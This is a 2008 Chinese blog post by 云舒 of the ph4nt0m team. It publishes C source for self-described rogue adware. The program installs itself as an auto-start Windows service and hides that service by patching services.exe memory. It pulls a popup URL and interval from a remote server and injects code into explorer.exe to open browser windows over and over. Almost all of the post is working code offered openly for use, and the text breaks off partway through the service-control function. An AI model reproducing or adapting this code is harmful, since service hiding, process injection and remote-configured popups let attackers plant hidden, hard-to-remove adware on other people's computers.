2008年5月16日星期五

[Tips]一个弹窗口的流氓软件

by 云舒
2008-05-16
http://www.ph4nt0m.org

这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。

我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。

这个是主函数,安装,读取配置,注入代码用的。


/**************************************************************************************************
* 1. 给XX作的流氓软件
* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
*************************************************************************************************
*/
#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<Winsock2.h>
#include 
<windows.h>
#include 
<Tlhelp32.h>

// 是否记录日志
//#define DEBUG
#ifdef DEBUG
    
#define DEBUG_LOG    "c:\debug.txt"
    
// 日志记录函数
    void    LogToFile( WCHAR * );            
#endif

#include 
"ControlService.h"
#include 
"HideService.h"
#include 
"CustomFunction.h"

#pragma comment (lib, 
"Advapi32.lib")
#pragma comment (lib, 
"Shell32.lib")
#pragma comment (lib, 
"ws2_32.lib")
#pragma comment (lib, 
"User32.lib")

#define    REMOTE_FUNC_LENGTH    1024 * 10                // 拷贝的长度
#define    TARGET_PROCESS        L"explorer.exe"            // 要注入代码的目标进程
#define    CONFIG_HOST            "www.icylife.net"            // 读取配置信息的服务器
#define CONFIG_PATH            "/url.txt"                    // 配置信息在配置服务器的路径
#define    IE_PATH                "C:\Program Files\Internet Explorer\iexplore.exe"
#define    DEFAULT_URL            "http://www.he100.com"    // 默认弹出的窗口
#define    DEFAULT_SLEEP_TIME    30 * 60 * 1000            // 默认弹出窗口的间隔时间

// 宏,转换字符串为unicode
#define   MULTI_TO_WIDE( x, y )    MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );

// 弹出窗口之间的间隔时间
int sleep_time;

// 弹出的url地址
char url_path[512] = { 0 };

/**************************************************************************************************
* 函数原形
*************************************************************************************************
*/

void        ServiceMain( DWORD, char **);        //服务入口
BOOL        SetDebugPrivilege( );                //获取debug权限
DWORD    GetProcessIdByName(WCHAR * );    //获取进程的PID
void        InjectCode( );                        //写代码到远程进程
void        GetConfig( );                        //更新配置,获取要弹出的地址和弹出间隔时间

/**************************************************************************************************
* 程序入口,主函数
*************************************************************************************************
*/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
    WCHAR                    filePath[MAX_PATH] 
= { 0 }; //程序本身路径
    SERVICE_TABLE_ENTRY        serviceTable[2];
    
    serviceTable[
0].lpServiceName = SERVICE_NAME;
    serviceTable[
0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

    serviceTable[
1].lpServiceName = NULL;
    serviceTable[
1].lpServiceProc = NULL;

    GetModuleFileName( NULL, filePath, MAX_PATH );
    
    
// 如果服务未安装,安装
    if( !ServiceExists( filePath ) )
    {
        
if( ServiceInstall( filePath ) != TRUE )
        {
            
return -1;
        }
        
else
        {
            
return 0;
        }
    }
    
    
if( !StartServiceCtrlDispatcher( serviceTable ) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256] = { 0 };
            wsprintf( tmp, L
"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
            
        
return -1;
    }
    
    
return 0;
}

/**************************************************************************************************
* 服务入口
*************************************************************************************************
*/
void ServiceMain( DWORD argc, char *argv[] )
{
    serviceStatus.dwServiceType 
= SERVICE_WIN32_OWN_PROCESS;
    serviceStatus.dwCurrentState 
= SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted 
= SERVICE_ACCEPT_STOP;
    serviceStatus.dwWin32ExitCode 
= 0;
    serviceStatus.dwServiceSpecificExitCode 
= 0;
    serviceStatus.dwCheckPoint 
= 0;
    serviceStatus.dwWaitHint 
= 0;
    
    #ifdef DEBUG
        LogToFile( L
"ServiceMain: Try to register service\n" );
    
#endif
    
    hServiceStatus 
= RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
    
if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256] = { 0 };
            wsprintf( tmp, L
"ServiceMain: Register service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
return;
    }

    serviceStatus.dwCurrentState 
= SERVICE_RUNNING;
    serviceStatus.dwCheckPoint 
= 0;
    serviceStatus.dwWaitHint 
= 0;
    
    
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256] = { 0 };
            swprintf( tmp, L
"ServiceMain: Start service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
return;        
    }

    #ifdef DEBUG
        LogToFile( L
"ServiceMain: Start service ok\n" );
    
#endif
    
    
// 隐藏服务
    HideService( SERVICE_NAME );

    
// 从网络读取配置
    GetConfig( );

    
// 注入代码
    InjectCode( );

    serviceStatus.dwCurrentState 
= SERVICE_STOPPED;
    
if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256] = { 0 };
            wsprintf( tmp, L
"ServiceMain: Stop service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
    }

    #ifdef DEBUG
        LogToFile( L
"Stop service in main.\n" );
    
#endif
    
    #ifdef DEBUG
        LogToFile( L
"ServiceMain Done.\n" );
    
#endif

    
return;
}

void InjectCode( )
{
    
if( ! SetDebugPrivilege() )
    {
        #ifdef DEBUG
            LogToFile( L
"Set Debug Privileges error.\n" );
        
#endif

        
return;
    }

    DWORD    dwPID 
= -1;
    
while( 1 )
    {
        dwPID 
= GetProcessIdByName( TARGET_PROCESS );
        
        
if( -1 != dwPID )
        {
            #ifdef DEBUG
                WCHAR    tmp[
256] = { 0 };
                wsprintf( tmp, L
"Target process id is %d\n", dwPID );
                LogToFile( tmp );
            
#endif

            
break;
        }

        #ifdef DEBUG
            LogToFile( L
"Target process not found, sleep and continue.\n" );
        
#endif

        Sleep( 
30 * 1000 );
    }

    Sleep( 
2 * 60 * 1000 );

    
// 打开进程
    HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
    
if( ! hProcess )
    {
        #ifdef DEBUG
            LogToFile( L
"OpenProcess error.\n" );
        
#endif

        
return;
    }

    
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
    Arguments    arguments;
    
    memset( (
void *)&arguments, 0, sizeof(Arguments) );
    HMODULE    hKernel 
= GetModuleHandleA( "kernel32" );
    
if( hKernel == NULL )
    {
        #ifdef DEBUG
            LogToFile( L
"GetModuleHandle kernel32.dll error.\n" );
        
#endif

        
return;
    }
    arguments.MyLoadLibrary 
= GetProcAddress( hKernel, "LoadLibraryA" );
    arguments.MyGetAddress 
= GetProcAddress( hKernel, "GetProcAddress" );

    strcpy( arguments.MyKernelDll, 
"kernel32.dll" );
    strcpy( arguments.MyProgram, IE_PATH );
    strcpy( arguments.MyShellDll, 
"Shell32.dll" );
    strcpy( arguments.MyShellExecute, 
"ShellExecuteA" );
    strcpy( arguments.MyUrl, url_path );
    strcpy( arguments.MyZeroMemory, 
"RtlZeroMemory" );
    arguments.SleepTime 
= sleep_time;

    
// 在远程进程中分配内存存放参数,可写权限
    Arguments *remote_agrument = (Arguments *)VirtualAllocEx(    hProcess,
                                                                
0,
                                                                
sizeof(Arguments),
                                                                MEM_COMMIT,
                                                                PAGE_READWRITE );
    
if( !remote_agrument )
    {
        #ifdef DEBUG
            LogToFile( L
"VirtualAllocEx for arguments error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
    WCHAR tmp[
256] = { 0 };
        wsprintf( tmp, L
"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
        LogToFile( tmp );
    
#endif

    
// 将参数写入远程进程内存
    int    bytes_write;
    
if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
    {
        #ifdef DEBUG
            LogToFile( L
"WriteProcessMemory for arguments error.\n" );
        
#endif
        
return;
    }

    
// 在远程进程中分配内存存放代码,可执行权限
    LPVOID remote_func = VirtualAllocEx(    hProcess,
                                            
0,
                                            REMOTE_FUNC_LENGTH,
                                            MEM_COMMIT,
                                            PAGE_EXECUTE_READWRITE );
    
if( !remote_func )
    {
        #ifdef DEBUG
            LogToFile( L
"VirtualAllocEx for function error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
        memset( tmp, 
0, sizeof(tmp) );
        wsprintf( tmp, L
"Remote Function Address: 0x%08x\n", remote_func );
        LogToFile( tmp );
    
#endif

    
// 将代码写入远程进程内存
    if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
    {
        #ifdef DEBUG
            LogToFile( L
"WriteProcessMemory for function error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
        memset( tmp, 
0, sizeof(tmp) );
        wsprintf( tmp, L
"WriteProcessMemory for function %d bytes\n", bytes_write );
        LogToFile( tmp );
    
#endif
    
    HANDLE    remote_thread 
= CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
    
if ( !remote_thread )
    {
        #ifdef DEBUG
            LogToFile( L
"CreateRemoteThread for function error.\n" );
        
#endif

        
return;
    }
    
    #ifdef DEBUG
        LogToFile( L
"CreateRemoteThread for function ok\n" );
    
#endif
    
    
/*
    WaitForSingleObject( remote_thread, INFINITE );
    
    if( NULL != remote_func )
    {
        VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
        #ifdef DEBUG
            LogToFile( L"VirtualFreeEx for remote_func.\n" );
        #endif
    }
    if( NULL != remote_agrument )
    {
        VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);

        #ifdef DEBUG
            LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
        #endif
    }
    
    if( NULL != remote_thread )
    {
        CloseHandle( remote_thread );

        #ifdef DEBUG
            LogToFile( L"CloseHandle for remote_thread.\n" );
        #endif
    }
    if( NULL != hProcess )
    {
        CloseHandle( hProcess );

        #ifdef DEBUG
            LogToFile( L"CloseHandle for hProcess.\n" );
        #endif
    }
    
*/

    
return;
}

void GetConfig( )
{
    #ifdef DEBUG
        WCHAR    tmp[
256] = { 0 };
    
#endif
    
    WSAData                wsa;
    
struct sockaddr_in    sin;

    memset( 
&sin, 0, sizeof(struct sockaddr_in) );
    
if( WSAStartup( 0x0202, &wsa ) != 0 )
    {
        #ifdef    DEBUG
            memset( tmp, 
0, sizeof(tmp) );
            wsprintf( tmp, L
"WSAStartup error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
goto getconfig_error;
    }

    
struct hostent *phost = gethostbyname( CONFIG_HOST );
    
if( phost == NULL )
    {
        #ifdef    DEBUG
            memset( tmp, 
0, sizeof(tmp) );
            wsprintf( tmp, L
"Resolv config host name error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        WSACleanup( );
        
goto getconfig_error;
    }
    
    memcpy( 
&sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
    sin.sin_family 
= AF_INET;
    sin.sin_port 
= htons( 80 );

    #ifdef    DEBUG
        memset( tmp, 
0, sizeof(tmp) );

        WCHAR ip[
256] = { 0 };
        MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));

        wsprintf( tmp, L
"Resolv config host name ok: %s\n",ip );
        LogToFile( tmp );
    
#endif
    
    SOCKET    sock 
= socket( AF_INET , SOCK_STREAM , 0 );
    
if( sock == INVALID_SOCKET )
    {
        #ifdef    DEBUG
            memset( tmp, 
0, sizeof(tmp) );
            wsprintf( tmp, L
"Connect to %s:%s error: \n", ip, 80, GetLastError() );
            LogToFile( tmp );
        
#endif

        WSACleanup( );
        
goto getconfig_error;
    }

    
int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
    
if( SOCKET_ERROR == ret )
    {
        #ifdef    DEBUG
            memset( tmp, 
0, sizeof(tmp) );
            wsprintf( tmp, L
"Connect error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif

        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    
char send_buff[512] = { 0 };
    sprintf( send_buff, 
"GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );

    #ifdef    DEBUG
        memset( tmp, 
0, sizeof(tmp) );
        
        WCHAR tmp2[
256] = { 0 };
        MULTI_TO_WIDE( tmp2, send_buff );
        wsprintf( tmp, L
"Send request to get config:\n %s\n", tmp2 );
        LogToFile( tmp );

    
#endif

    ret 
= send( sock, send_buff, strlen(send_buff), 0 );
    
if( SOCKET_ERROR == ret )
    {
        #ifdef    DEBUG
            memset( tmp, 
0, sizeof(tmp) );
            wsprintf( tmp, L
"Send request error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif

        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    #ifdef    DEBUG
        LogToFile( L
"Send request ok!\n" );
    
#endif
    
    
char recv_buff[1024] = { 0 };
    recv( sock, recv_buff, 
1000, 0 );
    
if( !recv_buff )
    {
        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    closesocket( sock );
    WSACleanup( );

    
char *content = strstr( recv_buff, "\r\n\r\n" );
    
if( !content )
    {
        
goto getconfig_error;
    }

    content 
+= strlen("\r\n\r\n");

    #ifdef    DEBUG
        memset( tmp, 
0, sizeof(tmp) );

        WCHAR c[
256] = { 0 };
        MULTI_TO_WIDE( c, content );
        
        wsprintf( tmp, L
"Config content is:\n%s\n", c );
        LogToFile( tmp );
    
#endif
    
    
char *split_flag = strstr( content, "|" );
    
if( !split_flag )
    {
        
goto getconfig_error;
    }

    
char tmp_time[32] = { 0 };
    
char tmp_url[512] = { 0 };
    
if( split_flag - content > 32 )
    {
        sleep_time 
= DEFAULT_SLEEP_TIME;
    }
    
else
    {
        strncpy( tmp_time, content, split_flag 
- content );
        sleep_time 
= atoi( tmp_time );
    }

    
if( strlen( split_flag ) >= 512 )
    {
        strcpy( url_path, DEFAULT_URL );
    }
    
else
    {
        strcpy( url_path, split_flag 
+ 1 );
    }
    
    
return;

    getconfig_error:
    
    sleep_time 
= DEFAULT_SLEEP_TIME;
    strcpy( url_path, DEFAULT_URL );

    
return;
}

/**************************************************************************************************
* 记录日志函数
*************************************************************************************************
*/

#ifdef DEBUG
void LogToFile( WCHAR *str )
{
    FILE    
*fp;
    
    fp 
= fopen( DEBUG_LOG, "a" );
    fwprintf( fp, L
"%s\n", str );
    fclose( fp );
}
#endif 


这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。

// yunshu(pst) Copy from zzzevazzz(pst)'s code
// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef 
struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef 
struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef 
struct _SC_SERVICE_PROCESS
{
    PSC_SERVICE_PROCESS Previous;
    PSC_SERVICE_PROCESS Next;
    WCHAR 
*ImagePath;
    DWORD Pid;
    DWORD NumberOfServices;
    
// 
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef 
struct _SC_DEPEND_SERVICE
{
    PSC_DEPEND_SERVICE Next;
    DWORD Unknow;
    PSC_SERVICE_RECORD Service;
    
// 
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef 
struct _SC_SERVICE_RECORD
{
    PSC_SERVICE_RECORD Previous;
    PSC_SERVICE_RECORD Next;
    WCHAR 
*ServiceName;
    WCHAR 
*DisplayName;
    DWORD Index;
    DWORD Unknow0;
    DWORD sErv;
    DWORD ControlCount;
    DWORD Unknow1;
    PSC_SERVICE_PROCESS Process;
    SERVICE_STATUS Status;
    DWORD StartType;
    DWORD ErrorControl;
    DWORD TagId;
    PSC_DEPEND_SERVICE DependOn;
    PSC_DEPEND_SERVICE Depended;
    
// 
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

BOOL SetDebugPrivilege()
{
    BOOL bRet 
= FALSE;
    HANDLE hToken 
= NULL;
    LUID luid;
    TOKEN_PRIVILEGES tp;

    
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, 
&luid))
    {
        tp.PrivilegeCount 
= 1;
        tp.Privileges[
0].Luid = luid;
        tp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED;
        bRet 
= AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    }

    
if (hToken) CloseHandle(hToken);
    
return bRet;
}

DWORD GetProcessIdByName(WCHAR 
*Name)
{
    BOOL            bRet 
= FALSE;
    HANDLE            hProcessSnap 
= NULL;
    PROCESSENTRY32    pe32 
= { 0 };
    DWORD            Pid 
= -1;

    hProcessSnap 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

    pe32.dwSize 
= sizeof(PROCESSENTRY32);

    
if (Process32First(hProcessSnap, &pe32))
    {
        
do
        {
            
if ( !_wcsicmp(pe32.szExeFile, Name ) )
            {
                Pid 
= pe32.th32ProcessID;
                
break;
            }
        }
        
while (Process32Next(hProcessSnap, &pe32));
    }

    CloseHandle(hProcessSnap);
    
return Pid;
}

// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
{
    MEMORY_BASIC_INFORMATION mbi;
    DWORD dwOldProtect, dwWritten;

    VirtualQueryEx(hProcess, Addr, 
&mbi, sizeof(mbi));
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, 
&mbi.Protect);
    WriteProcessMemory(hProcess, Addr, 
&Value, sizeof(DWORD), &dwWritten);
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, 
&dwOldProtect);
}

//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
    WCHAR                FileName[MAX_PATH
+1];
    HANDLE                hFile, hFileMap;
    UCHAR                
* pMap;
    DWORD                dwSize, dwSizeHigh, i, dwRead;
    SC_SERVICE_RECORD    SvcRd, 
*pSvcRd, *pRet = NULL;

    GetSystemDirectory( FileName, MAX_PATH );
    wcscat( FileName, L
"\Services.exe");

    hFile 
= CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, 
0, NULL);
    
if (INVALID_HANDLE_VALUE == hFile) return NULL;

    dwSizeHigh 
= 0;
    dwSize 
= GetFileSize(hFile, &dwSizeHigh);    

    hFileMap 
= CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    
if (NULL == hFileMap) return NULL;

    pMap 
= (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
    
if (NULL == pMap) return NULL;

    dwSize 
-= 12;
    
for (i=0; i<dwSize; ++i)
    {
        
// 搜索services!ScGetServiceDatabase特征代码
        if (*(DWORD*)(pMap+i) == 0xa1909090 &&
            
*(DWORD*)(pMap+i+8) == 0x909090c3)
        {
            #ifdef DEBUG
                WCHAR    tmpBuffer[
256] = { 0 };
                wsprintf( tmpBuffer, L
"map is 0x%08x\n", (DWORD *)(pMap+i) );
                LogToFile( tmpBuffer );
            
#endif

            
if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
                ReadProcessMemory(hProcess, pSvcRd, 
&SvcRd, sizeof(SvcRd), &dwRead) &&
                SvcRd.sErv 
== 'vrEs')   // ServiceRecord结构的特征
            {
                pRet 
= pSvcRd;

                #ifdef DEBUG
                    WCHAR    tmpBuffer[
256] = { 0 };
                    wsprintf( tmpBuffer, L
"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );
                    LogToFile( tmpBuffer );
                
#endif
                
                
break;
            }
        }
    }

    UnmapViewOfFile(pMap);
    CloseHandle(hFileMap);
    CloseHandle(hFile);

    
//printf( "addr: 0x%08x\n", (DWORD *)pRet );
    return pRet;
}

// 隐藏服务
BOOL HideService( WCHAR *Name )
{
    DWORD                Pid;
    HANDLE                hProcess;
    SC_SERVICE_RECORD    SvcRd, 
*pSvcRd;
    DWORD                dwRead, dwNameSize;
    WCHAR                SvcName[MAX_PATH] 
= { 0 };
    
    dwNameSize 
= ( wcslen(Name) + 1 ) * sizeof(WCHAR);
    
    
if (dwNameSize > sizeof(SvcName)) return FALSE;
    
    Pid 
= GetProcessIdByName( TEXT("Services.exe") );

    #ifdef DEBUG
        WCHAR    tmpBuffer1[
256] = { 0 };
        wsprintf( tmpBuffer1, L
"Pid is %d\n", Pid );
        LogToFile( tmpBuffer1 );
    
#endif

    
if (Pid == -1) return FALSE;

    
if( ! SetDebugPrivilege() ) return FALSE;

    hProcess 
= OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    
if (NULL == hProcess) return FALSE;

    pSvcRd 
= FindFirstServiceRecord(hProcess);
    
if (NULL == pSvcRd)
    {
        #ifdef DEBUG
            LogToFile( L
"Can't Find ServiceDatabase.\n" );
        
#endif

        CloseHandle(hProcess);
        
return FALSE;
    }

    
do
    {
        
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
            ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, 
&dwRead))
        {
            
// 匹配服务名
            if ( 0 == _wcsicmp(SvcName, Name) )
            {
                
// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
                ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
                ProtectWriteDword(hProcess, (DWORD 
*)SvcRd.Next, (DWORD)SvcRd.Previous);

                #ifdef DEBUG
                    WCHAR    tmpBuffer2[
256] = { 0 };
                    wsprintf( tmpBuffer2, L
"The Service \"%s\" Is Hidden Successfully.\n", Name );
                    LogToFile( tmpBuffer1 );
                
#endif
            
                CloseHandle(hProcess);
                
return TRUE;
            }
        }
        
else
        {
            
break;
        }
    }
    
while (pSvcRd = SvcRd.Next);

    
if( NULL != hProcess )
    {
        CloseHandle(hProcess);
    }

    
return FALSE;
} 


这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。

typedef 
struct _Arguments
{
    
char    MyUrl[512];
    
char    MyProgram[512];
    FARPROC    MyLoadLibrary;
    FARPROC    MyGetAddress;
    
char    MyKernelDll[32];
    
char    MyShellDll[32];
    
char    MyZeroMemory[32];
    
char    MyShellExecute[32];
    DWORD    SleepTime;
}Arguments;

/**************************************************************************************************
* WINAPI函数原形
*************************************************************************************************
*/
typedef HMODULE (__stdcall 
*LOADLIBRARYA)( IN char* lpFileName );
typedef FARPROC (__stdcall 
*GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
typedef 
void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );

void __stdcall CustomFunction( LPVOID my_arguments )
{
    Arguments    
*func_args = (Arguments *)my_arguments;
    
    LOADLIBRARYA    LoadLibraryA 
= (LOADLIBRARYA)func_args->MyLoadLibrary;
    GETPROCADDRESS    GetProcAddress 
= (GETPROCADDRESS)func_args->MyGetAddress;
    
    HMODULE    h_kernel 
= LoadLibraryA( func_args->MyKernelDll );
    HMODULE    h_shell 
= LoadLibraryA( func_args->MyShellDll );

    ZEROMEMORY    ZeroMemory 
= (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
    DWORD    MyShellExecuteA 
= (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
    DWORD    MySleep;
    DWORD    sleep_time 
= func_args->SleepTime;

    __asm
    {
        push eax
        push esp

        sub esp, 
6
        
        mov    
byte ptr [esp], 'S'
        mov    
byte ptr [esp+1], 'l'
        mov 
byte ptr [esp+2], 'e'
        mov 
byte ptr [esp+3], 'e'
        mov 
byte ptr [esp+4], 'p'
        mov 
byte ptr [esp+5], ''
        lea eax, [esp]

        push eax
        push h_kernel
        call GetProcAddress
        mov  MySleep, eax

        add esp, 
6
        pop esp
        pop eax
    }

    
while( 1 )
    {
        __asm
        {
            push eax
            push esp
            push ecx
            push ebx

            sub    esp, 
256

            mov    
byte ptr [esp], 'o'
            mov    
byte ptr [esp+1], 'p'
            mov    
byte ptr [esp+2], 'e'
            mov 
byte ptr [esp+3], 'n'
            mov 
byte ptr [esp+4], ''
            lea    ebx, [esp]
            
            push SW_SHOWMAXIMIZED
            push 
0
            push func_args
        
            mov    ecx, func_args
            add    ecx, 200h
            lea    eax, [ecx]
            push eax
        
            push ebx
            push 
0

            call MyShellExecuteA
            
            add esp, 
256

            pop ebx
            pop    ecx
            pop    esp
            pop    eax

            push sleep_time
            call MySleep
        }
    }
} 


这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。

/**************************************************************************************************
* 全局变量
*************************************************************************************************
*/

#define SERVICE_NAME            L"LemonTree"
#define SERVICE_DESCRIPTION        L"LemonTree"
#define    SERVICE_DISPLAY_NAME    L"LemonTree"

SERVICE_STATUS            serviceStatus;
SERVICE_STATUS_HANDLE    hServiceStatus;

BOOL                ServiceInstall( WCHAR 
* );            //安装服务
BOOL                ServiceUnstall( WCHAR * );            //删除服务
void                ServiceControl( DWORD );            //控制服务
BOOL                ServiceExists( WCHAR * );            //判断服务是否存在

/***********************************************************************************
* 安装服务
* 参数:主程序全路径
* 返回:成功返回TRUE,否则为FALSE
**********************************************************************************
*/

BOOL ServiceInstall( WCHAR 
*exeFilePath )
{
    WCHAR    tmpPath[MAX_PATH] 
= { 0 };
    HKEY    key;
    
    SC_HANDLE serviceMangerHandle 
= OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
    
if ( serviceMangerHandle == 0 )
    {
        printf( 
"Install: Open services manager database error: %d\n", GetLastError() );
        
return FALSE;
    }
    
    SC_HANDLE serviceHandle 
= CreateService
    (
        serviceMangerHandle ,
        SERVICE_NAME ,
        SERVICE_DISPLAY_NAME ,
        SERVICE_ALL_ACCESS ,
        SERVICE_WIN32_OWN_PROCESS ,
        SERVICE_AUTO_START ,
        SERVICE_ERROR_NORMAL ,
        exeFilePath ,
        NULL ,
        NULL ,
        NULL ,
        NULL ,
        NULL
    );
    
    
if ( serviceHandle == 0 )
    {
        printf( 
"Create service error: %d\n", GetLastError() );

        CloseServiceHandle( serviceMangerHandle );
        
return FALSE;
    }
    
    wcscpy( tmpPath, L
"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    
    
if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
        printf( 
"Open key %s error: %d\n", tmpPath, GetLastError() );
        
return FALSE;
    }

    RegSetValueEx( key, L
"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
    
    RegCloseKey(key);

    
if( !StartService( serviceHandle, 0, 0 ) )
    {
        printf( 
"Install service ok, but start it error: %d\n", GetLastError() );
    }
    
else
    {
        printf( 
"Install service ok, start it ok.\n" );
    }

    CloseServiceHandle( serviceHandle );
    CloseServiceHandle( serviceMangerHandle );

    
return TRUE;
}

/**************************************************************************************************
* 删除服务
*************************************************************************************************
*/

BOOL ServiceUnstall( WCHAR 
*serviceName )
{
    SC_HANDLE scmHandle 
= OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
    
    
if ( scmHandle == NULL )
    {
        
return FALSE;
    }
  
    SC_HANDLE    scHandle 
= OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
    
    
if( scHandle == NULL )
    {
        CloseServiceHandle( scmHandle );
            
        
return FALSE;
    }
    
    DeleteService( scHandle );

    CloseServiceHandle( scHandle );
    CloseServiceHandle( scmHandle );
            
    
return TRUE;

}

/**************************************************************************************************
* 服务控制函数
*************************************************************************************************
*/

void ServiceControl( DWORD request )
{
    #ifdef DEBUG
        LogToFile( L
"ServiceControl: Into ServiceControl\n" );
    
#endif

    
switch ( request )
    {
        
case SERVICE_CONTROL_PAUSE:

            serviceStatus.dwCurrentState 
= SERVICE_PAUSED;

            
break;

        
case SERVICE_CONTROL_CONTINUE:

            serviceStatus.dwCurrentState 
= SERVICE_RUNNING;

            
break;

        
case SERVICE_CONTROL_STOP:
            
            #ifdef DEBUG
                LogToFile( L
"ServiceControl: Try to stop service\n" );
            
#endif
            
            serviceStatus.dwWin32ExitCode 
= 0;
            serviceStatus.dwCurrentState 
= SERVICE_STOP_PENDING;
            serviceStatus.dwCheckPoint 
= 0;
            serviceStatus.dwWaitHint 
= 0;

            
break;

        
case SERVICE_CONTROL_INTERROGATE:
            
            
break;
            
        
default:

            #ifdef DEBUG
                LogToFile( L
"ServiceControl: Error arguments\n" );
            
#endif

            
break;
    }

    
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
